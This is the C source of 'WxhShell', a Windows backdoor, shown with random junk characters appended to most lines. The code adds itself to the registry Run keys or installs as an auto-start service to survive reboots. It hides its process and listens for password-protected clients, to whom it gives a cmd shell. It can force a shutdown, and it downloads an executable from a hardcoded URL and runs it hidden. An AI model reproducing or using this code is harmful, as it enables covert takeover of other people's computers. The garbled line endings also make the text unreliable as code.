    if(Boot(SHUTDOWN)) jX-v9eaA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M`-#6,m3  
    else { X~*1  
    closesocket(wsh); U; JZN  
    ExitThread(0);  \U(qv(T  
    } F-R4S^eV  
    break; ZN~:^,PO/  
    } D.kLx@Z  
  // 获取shell p[4KN(PyK  
  case 's': { \EuMzb"G9p  
    CmdShell(wsh); %E}f7GT 4  
    closesocket(wsh); 6%sX<)n%]  
    ExitThread(0); -%E+Yl{v  
    break; y))d[ 1E  
  } 0UB)FK ,9  
  // 退出 %"r3{Hs  
  case 'x': { (TM1(<j  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  )o`|t  
    CloseIt(wsh); &W`."  
    break; !f2f gX  
    } wS-D"\4/  
  // 离开 )s5Q4m!  
  case 'q': { m Y*JNx  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); X!ZUR^  
    closesocket(wsh); %D< =6suW  
    WSACleanup(); $bIVD  
    exit(1); }xcA`w3u2?  
    break; yw `w6Z3K  
        } Qh<_/X?  
  } w6zB uW  
  } wwE`YY  
|k1(|)%G  
  // 提示信息 V|e9G,z~A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VI: !#  
} es 8%JTi  
  } PN:/lIO  
H:Y?("k  
  return; @W[`^jfQ  
} f]W$4f {  
|=fa`8m G  
// shell模块句柄 _CN5,mLNRk  
int CmdShell(SOCKET sock) 15U]/?jv8  
{ ZX[ @P?A+-  
STARTUPINFO si; /Fy2ZYs,`8  
ZeroMemory(&si,sizeof(si)); Tf(-Duxz  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R".~{6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Yj)H!Cp.xD  
PROCESS_INFORMATION ProcessInfo; 0}}b\!]9  
char cmdline[]="cmd"; xTiC[<j  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); f40xS7-Q0  
  return 0; R8O; 8c?D  
} aMKi`EW  
@xIKYJyU  
// 自身启动模式 i%w[v_j  
int StartFromService(void) i eQQ{iGJH  
{  b)/,  
typedef struct {_T?0L  
{ VN6h:-&iY  
  DWORD ExitStatus; 0aj4.H*%  
  DWORD PebBaseAddress; gg $/  
  DWORD AffinityMask; @'>h P  
  DWORD BasePriority; ^h #0e:7<  
  ULONG UniqueProcessId; 7%DA0.g  
  ULONG InheritedFromUniqueProcessId; "I+71Ce  
}   PROCESS_BASIC_INFORMATION; }TE4)vXs  
O(q1R#n-}+  
PROCNTQSIP NtQueryInformationProcess; i E p{  
uvC ![j^~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9jW/"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M9so3L<N0  
$fZVh%  
  HANDLE             hProcess; ;|7]%Z}%  
  PROCESS_BASIC_INFORMATION pbi; 3H"bivK  
v d A 3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U?BuV  
  if(NULL == hInst ) return 0; =E$Hq4I  
Ot,eAiaX  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 21ng94mC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0 ~K4vSa  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |uL"/cMW7  
:+Ti^FF`w  
  if (!NtQueryInformationProcess) return 0; L-SWs8  
 {}x{OP  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~Y;_vU  
  if(!hProcess) return 0; "A?&`}%  
K6 D3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 86+nFk  
bz$)@gLc  
  CloseHandle(hProcess); a2Q_K2t  
4FLL*LCNX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (NB\wJg $  
if(hProcess==NULL) return 0; G_OLUuK?C  
mtfEK3?2*  
HMODULE hMod; U&x)Q  
char procName[255]; ^q{=mf`  
unsigned long cbNeeded; KlOL5"3  
V% -wZL/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =VXxQ\{  
QxUsdF?p  
  CloseHandle(hProcess); SA3!a.*c  
W<']Q_su  
if(strstr(procName,"services")) return 1; // 以服务启动 6IRzm6d  
hf#[Vns  
  return 0; // 注册表启动 JSKAlw  
} +E5EOo{ `|  
W[ZW=c  
// 主模块 2g'o5B\ *  
int StartWxhshell(LPSTR lpCmdLine) /D@(o`a  
{ N5m+r.<;  
  SOCKET wsl; x ,LQA0  
BOOL val=TRUE; 0=g~ozEW&  
  int port=0; P[q`{TdV  
  struct sockaddr_in door; "WPFZw:9  
WBOebv  
  if(wscfg.ws_autoins) Install(); BBkYc:B=SA  
+2&+Gh.h  
port=atoi(lpCmdLine); +,wCV2>\3  
[*i6?5}-  
if(port<=0) port=wscfg.ws_port; znVao %b  
C{g Y*+  
  WSADATA data; LS(J%\hMDm  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6KpG,%2L#  
j=>:{`*c  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /U1&#"P  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w]-,X`  
  door.sin_family = AF_INET; H<YhO&D*u  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ic!8$NhRS  
  door.sin_port = htons(port); L"Vi:zdp  
T1Gy_ G/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;Nfd  
closesocket(wsl); fG{ 9doUD  
return 1; d]bM,`K* 6  
} +#$(>6Zu"{  
!/]vt?v#^  
  if(listen(wsl,2) == INVALID_SOCKET) { (j*1sk  
closesocket(wsl); . PAR  
return 1; J|Af`HJ  
} =A yDVWpE  
  Wxhshell(wsl); 335\0~;3  
  WSACleanup(); ]Sl]G6#Iwv  
IJnh@?BC  
return 0; 9bE/7v  
}iu(-{Z  
} 97XGJ1HI  
(K"8kQLY  
// 以NT服务方式启动 WZ#|?pJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,sn/FT^; q  
{ +[2X@J  
DWORD   status = 0; rEWPVT  
  DWORD   specificError = 0xfffffff; OI0tgkG  
W5#5RK"uX  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ga#Yd}G^~3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; O7KR~d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  ~wX4j  
  serviceStatus.dwWin32ExitCode     = 0; v<2B^(i}VB  
  serviceStatus.dwServiceSpecificExitCode = 0; "?[7oI}c&  
  serviceStatus.dwCheckPoint       = 0; $hCPmiI  
  serviceStatus.dwWaitHint       = 0; >WKlR` J%  
(l~3~n  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;:0gN|+  
  if (hServiceStatusHandle==0) return; slV7,4S&!  
y%9Q]7&=  
status = GetLastError(); .*0`}H+_  
  if (status!=NO_ERROR) \K,piCVViN  
{ ZJ|@^^GcL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; tOu:j [  
    serviceStatus.dwCheckPoint       = 0; 0'{`"QD\IW  
    serviceStatus.dwWaitHint       = 0; e.Y*=P}D  
    serviceStatus.dwWin32ExitCode     = status; nV$ctdusQ  
    serviceStatus.dwServiceSpecificExitCode = specificError; T-'B-g  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9YtdE*,k  
    return; Nvef+L,v  
  } 4_A9o9&_Rh  
`6t3D&.u0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1|PmZPKq9n  
  serviceStatus.dwCheckPoint       = 0; /nX+*L}d/  
  serviceStatus.dwWaitHint       = 0; |>Xw"]b;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); TYs#v/)I  
} YflotlT}  
1V@\L|Y  
// 处理NT服务事件,比如:启动、停止 cv'Fc  
VOID WINAPI NTServiceHandler(DWORD fdwControl) INHN=KY{  
{ o}iqLe\  
switch(fdwControl) s\-^vj3  
{ N$j I&SI?}  
case SERVICE_CONTROL_STOP: qZ39TTQ*p  
  serviceStatus.dwWin32ExitCode = 0; JMT?+/Qbu  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; kOe~0xoT@u  
  serviceStatus.dwCheckPoint   = 0; .W>8bg'u9  
  serviceStatus.dwWaitHint     = 0; 7%(|)3"V  
  { V r0-/T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D(GAC!|/]  
  } r7I,%}k  
  return; j&S8x|5  
case SERVICE_CONTROL_PAUSE: kP6P/F|RcZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; kZlRS^6  
  break; x_&m$Fh  
case SERVICE_CONTROL_CONTINUE: -}ebn*7i\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; OoFQ@zE7%  
  break; c0H8FF3  
case SERVICE_CONTROL_INTERROGATE: ~'4:{xH  
  break; E"[^^<I  
}; Wv   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [|sKu#yW  
} mQ9%[U,  
Efb S*f5  
// 标准应用程序主函数 P7Th 94  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) WAj26";M(  
{ {,5=U@J  
{d;eZt `  
// 获取操作系统版本 ,]N!I%SI  
OsIsNt=GetOsVer(); SZ9xj^"g  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `;^%t  
@UO=)PxN3  
  // 从命令行安装 Z {ntF  
  if(strpbrk(lpCmdLine,"iI")) Install(); Cf_Ik  
aBM'ROQ  
  // 下载执行文件 #"M 'Cs  
if(wscfg.ws_downexe) { C/P,W>8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |U_48  
  WinExec(wscfg.ws_filenam,SW_HIDE); S|A?z)I  
} %@! Vx  
HY]vaA`  
if(!OsIsNt) { 5k`[a93T  
// 如果时win9x,隐藏进程并且设置为注册表启动 (u]ajT  
HideProc(); ksxacRA7\  
StartWxhshell(lpCmdLine); ;+-$=l3[a  
} ]|q\^k)JU  
else i\S } aCm  
  if(StartFromService()) [@}{sH(#Ta  
  // 以服务方式启动 JH~ve  
  StartServiceCtrlDispatcher(DispatchTable); HrA6wn\O  
else Xu1l6jr_  
  // 普通方式启动 u.gh04{5  
  StartWxhshell(lpCmdLine); *JG?^G"l  
6e@ O88=  
return 0; AJrwl^ lm  
} ~6'6v 8  
P,"z  
{Izg1 N  
xG_ ;F  
=========================================== {rWu`QT  
N0c+V["s  
`8F%bc54iw  
ZkYc9!anY  
>GiM?*cC  
?6    
" 9p!V?cH#8  
n=RAE^[M  
#include <stdio.h> &7 }!U  
#include <string.h> OwP9=9};  
#include <windows.h> L%a ni}V  
#include <winsock2.h> tg~&kaz  
#include <winsvc.h> 66=6;77  
#include <urlmon.h> E{r_CR+8  
,_T,B'a:  
#pragma comment (lib, "Ws2_32.lib") "b*.>QuZ  
#pragma comment (lib, "urlmon.lib") $ 8w eh3p  
=JyYU*G4  
#define MAX_USER   100 // 最大客户端连接数 )2oWoZ vi9  
#define BUF_SOCK   200 // sock buffer |xH"Xvp:  
#define KEY_BUFF   255 // 输入 buffer J`O4]XRY  
1!\!3xaV  
#define REBOOT     0   // 重启 )J_!ZpMC  
#define SHUTDOWN   1   // 关机 rsf A.o  
<Ebkb3_  
#define DEF_PORT   5000 // 监听端口 IxCEE5+`%  
.i/]1X*;r^  
#define REG_LEN     16   // 注册表键长度 (0W%Y Z!&  
#define SVC_LEN     80   // NT服务名长度 ,"PwNv  
iQ-;0<=G  
// 从dll定义API n?pCMS|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wC BL1[~C  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); UTUIL D  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G=3/PYp  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H/Goaf%  
t1B0M4x9  
// wxhshell配置信息 6mEW*qp2F  
struct WSCFG { `q eL$`  
  int ws_port;         // 监听端口 W.\HfJ74  
  char ws_passstr[REG_LEN]; // 口令 i#1T68y}  
  int ws_autoins;       // 安装标记, 1=yes 0=no P58U8MEG  
  char ws_regname[REG_LEN]; // 注册表键名 rK~362|mo  
  char ws_svcname[REG_LEN]; // 服务名 K 3&MR=#^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  b6S86>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %kJ:{J+w]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j&fr4t3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no a-Cp"pKlVY  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" PZpwi?N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~>D;2 S(a  
d"XS;;l%<  
}; 5]; 8  
;k7` `  
// default Wxhshell configuration ]Vl5v5_  
struct WSCFG wscfg={DEF_PORT, Ats"iV  
    "xuhuanlingzhe", {<~XwJ.  
    1, z.Y7u3K.8  
    "Wxhshell", HcHfwLin0  
    "Wxhshell", %8$JL=c  
            "WxhShell Service", ^i-%FY_i5}  
    "Wrsky Windows CmdShell Service", p/lMv\`5  
    "Please Input Your Password: ", GQ|kcY=  
  1, -5v c0"?E  
  "http://www.wrsky.com/wxhshell.exe", z}C#+VhQ`  
  "Wxhshell.exe" 35RH|ci&  
    }; NfR,m ]  
8+gx?pb  
// 消息定义模块 'xStA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7!oqn'#>A  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =oT@h 9VI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]vQo^nOo  
char *msg_ws_ext="\n\rExit."; PBn(k>=+  
char *msg_ws_end="\n\rQuit."; (fh:q2E#  
char *msg_ws_boot="\n\rReboot..."; NFLmM  
char *msg_ws_poff="\n\rShutdown..."; UUb!2sO  
char *msg_ws_down="\n\rSave to "; S;ulJ*qv  
#A]7cMZ'W  
char *msg_ws_err="\n\rErr!"; b daZ{5^{  
char *msg_ws_ok="\n\rOK!"; gSR&CnqZ<  
5B2x# m|8  
char ExeFile[MAX_PATH]; G:WMocyXI'  
int nUser = 0; ]N=C%#ki!  
HANDLE handles[MAX_USER]; .2xypL8(  
int OsIsNt; tsfOPth$*  
|,sUD/rt  
SERVICE_STATUS       serviceStatus; J@Zm8r<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; mkE*.I0=  
IH~H6US  
// 函数声明 2z0HB+Y}x  
int Install(void); (m04Z2#  
int Uninstall(void); mZ/B:)_  
int DownloadFile(char *sURL, SOCKET wsh); 1LPfn(  
int Boot(int flag); 'b661,+d  
void HideProc(void); yH#;k:O=  
int GetOsVer(void); [po+a@ %  
int Wxhshell(SOCKET wsl); kOdS^-  
void TalkWithClient(void *cs); @z/]!n\~  
int CmdShell(SOCKET sock); i6`8yw  
int StartFromService(void);  _&(ij(H  
int StartWxhshell(LPSTR lpCmdLine); JEHV \ =  
zZ32K@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 'hya#rC&(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); K7f-g]Ibdn  
|!!E5osXq  
// 数据结构和表定义 /mD KQ<  
SERVICE_TABLE_ENTRY DispatchTable[] = 6{7O  
{ XIjSwR kYJ  
{wscfg.ws_svcname, NTServiceMain}, GE5@XT  
{NULL, NULL} 4`8.\  
}; _a<PUdP  
/0o 2  
// 自我安装 Plq [Ml9  
int Install(void) y'@l,MN{  
{ *?K` T^LS  
  char svExeFile[MAX_PATH]; oQ yG  
  HKEY key; .k*2T<p$rC  
  strcpy(svExeFile,ExeFile); )D[xY0Y~  
}7.q[ ^oF  
// 如果是win9x系统,修改注册表设为自启动 EL}v>sC  
if(!OsIsNt) { Tl%4L % bE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LWQ BGiJj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); --^D)n  
  RegCloseKey(key); rXm!3E6JL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A\# ? rK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .9^;? Ts  
  RegCloseKey(key); @tj0Ir v  
  return 0; 4l$8lYi  
    } ycE<7W  
  } @nT8[v  
} (QRl -| +  
else { #[[p/nAy}A  
NXmj<azED  
// 如果是NT以上系统,安装为系统服务 teB {GR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _b5iR<f  
if (schSCManager!=0) bZG$ biq  
{ u-K 5  
  SC_HANDLE schService = CreateService hPk+vvXtK  
  ( wcL0#[)  
  schSCManager, ~o2{Wn["  
  wscfg.ws_svcname, Xj@Kt|&`k  
  wscfg.ws_svcdisp, =0f8W=d:Vr  
  SERVICE_ALL_ACCESS, { a_L /"7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , C,<TAm  
  SERVICE_AUTO_START, _:K}DU'6  
  SERVICE_ERROR_NORMAL, jU#%@d6!#  
  svExeFile, nb|MHtPX  
  NULL, `nM4kt7  
  NULL, hy]AH)?pR  
  NULL, fZ376Z:S$  
  NULL, KJ#c(yb9zR  
  NULL 8n:D#`K  
  ); 5Y&@ :Y  
  if (schService!=0) (qG$u&  
  { 4[-9$ r  
  CloseServiceHandle(schService); )Z_i[1V  
  CloseServiceHandle(schSCManager); W ,U'hk%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); NkJ^ecn%)  
  strcat(svExeFile,wscfg.ws_svcname); y(S0 2v>l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z0:BXtW  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Grub1=6l  
  RegCloseKey(key); +]e4c;`ko}  
  return 0; 5 O6MI4:  
    } FD-)nv2:  
  } b;O+QRa  
  CloseServiceHandle(schSCManager); 8&;dR  
} }dR *bG  
} UetmO`qju  
zSH#j RDV  
return 1; }rQ*!2Y?  
} i :$g1  
.) GVb<w  
// 自我卸载 >mV""?r]  
int Uninstall(void) SeTU`WLEm  
{ Tc*PDt0C  
  HKEY key; l^"G\ZVI  
:ox CF0Y  
if(!OsIsNt) { @gj5'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zKutx6=aj  
  RegDeleteValue(key,wscfg.ws_regname); 19vD(KC<  
  RegCloseKey(key); P}I*SV0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B dKwWgi+a  
  RegDeleteValue(key,wscfg.ws_regname); **"P A8   
  RegCloseKey(key); @hvq,[   
  return 0; w&gHmi  
  } hJ@nW5CI  
} ^v'Lu!\f  
} {8MF!CG]  
else { 9e5UTJ  
PA/6l"-`3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); b1OB'P8  
if (schSCManager!=0) DNy)\+[  
{ # 9t/j`{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @e7+d@ O<  
  if (schService!=0) 3IkG*enI  
  { !:8!\gE ^P  
  if(DeleteService(schService)!=0) { 6\K)\  
  CloseServiceHandle(schService); *+z({S_Nv  
  CloseServiceHandle(schSCManager); ;1 fML,8  
  return 0; Pla EI p  
  } 88K*d8m  
  CloseServiceHandle(schService); S!]}}fKEFm  
  } 3:( `#YY  
  CloseServiceHandle(schSCManager); rij[ZrJ  
} 4Uiqi{}  
} meWAm?8RI  
]3C8  
return 1; 'FhnSNT(4=  
} bsm,lx]bH^  
qrkT7f  
// 从指定url下载文件 a? kQ2<@g  
int DownloadFile(char *sURL, SOCKET wsh) uz#9w\="  
{ cPbz7  
  HRESULT hr; 5ZVTI,4K  
char seps[]= "/"; k.ZfjX"  
char *token; -{h[W bf  
char *file; C0%%@ 2+  
char myURL[MAX_PATH]; ?2TH("hV$  
char myFILE[MAX_PATH]; Z7^}G=*  
p"@|2a  
strcpy(myURL,sURL); X`b5h}c  
  token=strtok(myURL,seps); t/Fe"T[,V  
  while(token!=NULL) UU;:x"4  
  { z#4g,)ZX  
    file=token; 7 'S]  
  token=strtok(NULL,seps); =-qsz^^a-  
  } v`&Z.9!Tz^  
ob{pQx7  
GetCurrentDirectory(MAX_PATH,myFILE); ^XM;D/Gp~  
strcat(myFILE, "\\"); J (h>  
strcat(myFILE, file); 1GdD  
  send(wsh,myFILE,strlen(myFILE),0); Q Y'-]  
send(wsh,"...",3,0); I,eyL$x  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); DtZm|~)a  
  if(hr==S_OK) Jy_'(hG  
return 0; d eg>m?Y  
else P]B#i1  
return 1; Os{qpR^<I:  
hgK=fHJ k  
} 4B`Rz1QBy  
>$DqG$D  
// 系统电源模块 P `"7m-  
int Boot(int flag) kR|y0V {K*  
{ +$t%L  
  HANDLE hToken; eXK`%'  
  TOKEN_PRIVILEGES tkp; )a\h5nQI)  
+b+sQ<w?.  
  if(OsIsNt) {  D;]%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7&4,',0VL  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L|LTsRIq  
    tkp.PrivilegeCount = 1; :!$z1u8R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ">3@<f>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +0Gep}&z.  
if(flag==REBOOT) { Kcl$|T  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) QGd- 9UEA]  
  return 0; p0K;m%  
} WFP\;(YV  
else { sd53 _s V  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) YHYB.H)  
  return 0; {O) &5  
} W#j,{&KVn  
  } SK52.xXJ  
  else { 4Z }{hc\J  
if(flag==REBOOT) { F/sBr7I  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) mx~sxYa  
  return 0; " 44?n <1  
} &J$5+"/;X  
else { Wi^rnr'S s  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $x;h[,y   
  return 0; $sZHApJV+  
} *a!!(cZZ  
} $0T"YC%  
4-_lf(# i  
return 1; P-[K*/bPw  
} sv"mba.J  
M%xL K7  
// win9x进程隐藏模块 #~;8#!X  
void HideProc(void) AF]!wUKxy  
{ S:/RYT"  
Ky#B'Bh}`g  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t [hocl/6  
  if ( hKernel != NULL ) on?/tHys  
  { 9 w1ONw8v  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?bAFYF0!I  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gqRTv_;  
    FreeLibrary(hKernel); % Au$E&sj  
  } '*u;:[73  
Z4ioXl  
return; k&iDJt  
} MdZgS#`  
dM{~Ubb  
// 获取操作系统版本 J"/z?!)IB  
int GetOsVer(void) PMs_K"-K  
{ j#t8Krd] "  
  OSVERSIONINFO winfo; +wozjjc  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?K {1S  
  GetVersionEx(&winfo); JZ/O0PW  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  ii y3  
  return 1; BWdc^  
  else GA.bRN2CI2  
  return 0; AYIz;BmWy  
} <[:7#Yo g  
2 pa3}6P+  
// 客户端句柄模块 P lH`(n#  
int Wxhshell(SOCKET wsl) 3n(gfQo-o  
{ ggc?J<Dv  
  SOCKET wsh; w/5^R  
  struct sockaddr_in client; D"4&9"CU  
  DWORD myID; V9u\;5oL  
86fK= G:>  
  while(nUser<MAX_USER) c[_^bs>k  
{ T% 13 '  
  int nSize=sizeof(client); cvE.r330|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); LG{inhbp  
  if(wsh==INVALID_SOCKET) return 1; 7'i#!5  
[ 5 2zta  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); P3tG#cJ  
if(handles[nUser]==0) U!?gdX  
  closesocket(wsh); 5}bZs` C  
else D%UZ'bHN*  
  nUser++; 8<g#$(a_E  
  } exO#>th1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [ []SkLZHg  
zX [ r  
  return 0; $n Sh[ {  
} 3*$9G)Ey  
_T|H69 J  
// 关闭 socket {lTxB'W@d  
void CloseIt(SOCKET wsh) $>"e\L4Kp  
{ `1bX.7K43  
closesocket(wsh); C]yQ "b  
nUser--; h^+C)6(58n  
ExitThread(0); k\sM;bCv7  
} Nv?-*&L  
U5CPkH1  
// 客户端请求句柄 Ldhk^/+  
void TalkWithClient(void *cs) 1Uemsx%'k  
{ q7f;ZK=f  
?Wg{oB@(  
  SOCKET wsh=(SOCKET)cs; *UBP]w  
  char pwd[SVC_LEN]; 2k}-25xxL  
  char cmd[KEY_BUFF]; Zxc7nLKF~  
char chr[1]; (s$u_aq 77  
int i,j; ? x"HX|n  
\D U^idp#  
  while (nUser < MAX_USER) { 0vuKGjK  
gFs/012{  
if(wscfg.ws_passstr) { @>fO;*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sCtw30BL  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^@`e  
  //ZeroMemory(pwd,KEY_BUFF); .3&a{IxM]  
      i=0; o4 %Vt} K  
  while(i<SVC_LEN) { mw(c[.*%  
/pN'K5@  
  // 设置超时 A ,-V$[;~D  
  fd_set FdRead; ~z K@pFeH  
  struct timeval TimeOut; ihiuSF<NaQ  
  FD_ZERO(&FdRead); =^Sw*[eiy  
  FD_SET(wsh,&FdRead); Bhu@ 2KdA  
  TimeOut.tv_sec=8; u-QO>3oY6  
  TimeOut.tv_usec=0; E {KS a  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z_Wm HB  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Yn4)Zhkk  
[ .j]V-61  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #PslrA. E  
  pwd=chr[0]; ]A]Ft!`6z  
  if(chr[0]==0xd || chr[0]==0xa) { FL`1yD^2  
  pwd=0; Xqg.kX  
  break; 4W!\4Va  
  } XpgV09.EE  
  i++; | 7 m5P@X  
    } _}zo /kDA  
=@JS88+  
  // 如果是非法用户,关闭 socket n</k/Mk}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qcTmsMpj  
} m0|Ae@g~3  
Zj1ZU[BEcL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J3~hzgY  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,](v?v.[4  
Jh$"fr3  
while(1) { lmhbF  
1Y=AT!"V  
  ZeroMemory(cmd,KEY_BUFF); ', sQ/#S  
E7gHi$  
      // 自动支持客户端 telnet标准   -@SOo"P  
  j=0; < TR/ `  
  while(j<KEY_BUFF) { my ;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #9$V 08  
  cmd[j]=chr[0]; +ze}0lrEL  
  if(chr[0]==0xa || chr[0]==0xd) { CF|moc:;  
  cmd[j]=0; #vj#! 1  
  break; @ /UOSU  
  } 3}B5hht "D  
  j++; )W8L91-  
    } %2Epgh4?  
e&$p-0DmT|  
  // 下载文件 9H h~ nR?  
  if(strstr(cmd,"http://")) { X`yNR;>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .!JMPf"QEI  
  if(DownloadFile(cmd,wsh)) 3(!/["@7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); IXZ(]&we  
  else Z|ZBKcmg  
